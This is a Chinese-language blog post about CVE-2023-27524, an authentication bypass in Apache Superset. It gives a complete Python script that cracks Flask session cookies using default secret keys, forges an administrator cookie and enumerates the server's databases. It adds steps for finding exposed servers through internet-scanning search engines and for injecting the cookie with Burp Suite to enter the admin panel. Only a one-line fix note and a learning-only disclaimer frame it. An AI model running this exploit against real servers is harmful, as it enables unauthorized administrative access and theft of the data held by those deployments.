声明:
该文章仅供网络安全领域的学习使用,请勿利用文章内的相关技术从事任何非法行为。
测试资产为国外 IP,存在漏洞的 IP 地址已做打码处理。
我们只进行 poc,请勿进行任何非法入侵和攻击。
知攻善防,遇强则强。
开发和安全缺一不可!
目录
Apache Superset 是一个开源的现代数据探索和可视化平台
?Apache Superset 是一种广泛使用的数据可视化和探索开源工具,已被确定存在潜在的安全漏洞,可能导致身份验证绕过和远程代码执行 (RCE),这些漏洞可能使恶意行为者能够获得目标服务器上的管理权限,从而使他们能够收集用户凭据并可能危及数据。
Apache Superset 2.0.1 及之前的版本
使用黑暗搜索引擎(fofa、zoomeye、鹰图等)
Apache Superset
导出资产数据,我们只使用它的IP即可
检测脚本python源码:
from flask_unsign import session
import requests
import urllib3
import argparse
import re
from time import sleep
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
SECRET_KEYS = [
b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1
b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1
b'thisISaSECRET_1234', # deployment template
b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation
b'TEST_NON_DEV_SECRET' # docker compose
]
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--url', '-u', help='Base URL of Superset instance', required=True)
parser.add_argument('--id', help='User ID to forge session cookie for, default=1', required=False, default='1')
parser.add_argument('--validate', '-v', help='Validate login', required=False, action='store_true')
parser.add_argument('--timeout', '-t', help='Time to wait before using forged session cookie, default=5s', required=False, type=int, default=5)
args = parser.parse_args()
try:
u = args.url.rstrip('/') + '/login/'
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0'
}
resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
if resp.status_code != 200:
print(f'Error retrieving login page at {u}, status code: {resp.status_code}')
return
session_cookie = None
for c in resp.cookies:
if c.name == 'session':
session_cookie = c.value
break
if not session_cookie:
print('Error: No session cookie found')
return
print(f'Got session cookie: {session_cookie}')
try:
decoded = session.decode(session_cookie)
print(f'Decoded session cookie: {decoded}')
except:
print('Error: Not a Flask session cookie')
return
match = re.search(r'"version_string": "(.*?)"', resp.text)
if match:
version = match.group(1)
else:
version = 'Unknown'
print(f'Superset Version: {version}')
for i, k in enumerate(SECRET_KEYS):
cracked = session.verify(session_cookie, k)
if cracked:
break
if not cracked:
print('Failed to crack session cookie')
return
print(f'Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: {k}')
try:
user_id = int(args.id)
except:
user_id = args.id
forged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k)
print(f'Forged session cookie for user {user_id}: {forged_cookie}')
if args.validate:
validated = False
try:
headers['Cookie'] = f'session={forged_cookie}'
print(f'Sleeping {args.timeout} seconds before using forged cookie to account for time drift...')
sleep(args.timeout)
resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
if resp.status_code == 302:
print(f'Got 302 on login, forged cookie appears to have been accepted')
validated = True
else:
print(f'Got status code {resp.status_code} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')
except Exception as e_inner:
print(f'Got error {e_inner} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')
if not validated:
return
print('Enumerating databases')
for i in range(1, 101):
database_url_base = args.url.rstrip('/') + '/api/v1/database'
try:
r = requests.get(f'{database_url_base}/{i}', headers=headers, verify=False, timeout=30, allow_redirects=False)
if r.status_code == 200:
result = r.json()['result'] # validate response is JSON
name = result['database_name']
print(f'Found database {name}')
elif r.status_code == 404:
print(f'Done enumerating databases')
break # no more databases
else:
print(f'Unexpected error: status code={r.status_code}')
break
except Exception as e_inner:
print(f'Unexpected error: {e_inner}')
break
except Exception as e:
print(f'Unexpected error: {e}')
if __name__ == '__main__':
main()
用法:
在脚本位置打开 cmd,使用 python 命令执行该脚本,使用 -u 参数指定测试的?url
(注意:url 需要加上 http:// 或者对应端口)
对于存在该漏洞的网站,我们就会得到一个cookie
该 cookie 是针对你下一次去登录后台的 cookie?
因为针对同一个 URL ,每次执行得到的 cookie 值是不一样、随机的
我们得到的 cookie 值只适用于我们下一次登录后台的使用,不要多发送请求
比如我们现在得到了一个 cookie 值
cookie:session=eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZantOw.o2wwp8nNjVZKBCDr2fyoki_k9OY
然后我们去访问
http://存在漏洞的主机IP/login/
使用 burpsuite 抓包拦截,将 cookie 添加进去
然后放包,并且关掉 burpsuite 的拦截
查看页面回显,直接进入到 Apache Superset 的管理后台
查看它的信息
如果遇到 302 报错,大概率就是你的 cookie 没有对应上或者请求的 URL 不对,这里我们需要请求的是 login 界面,而不能单纯的只使用host。
安装官方发布的升级修复补丁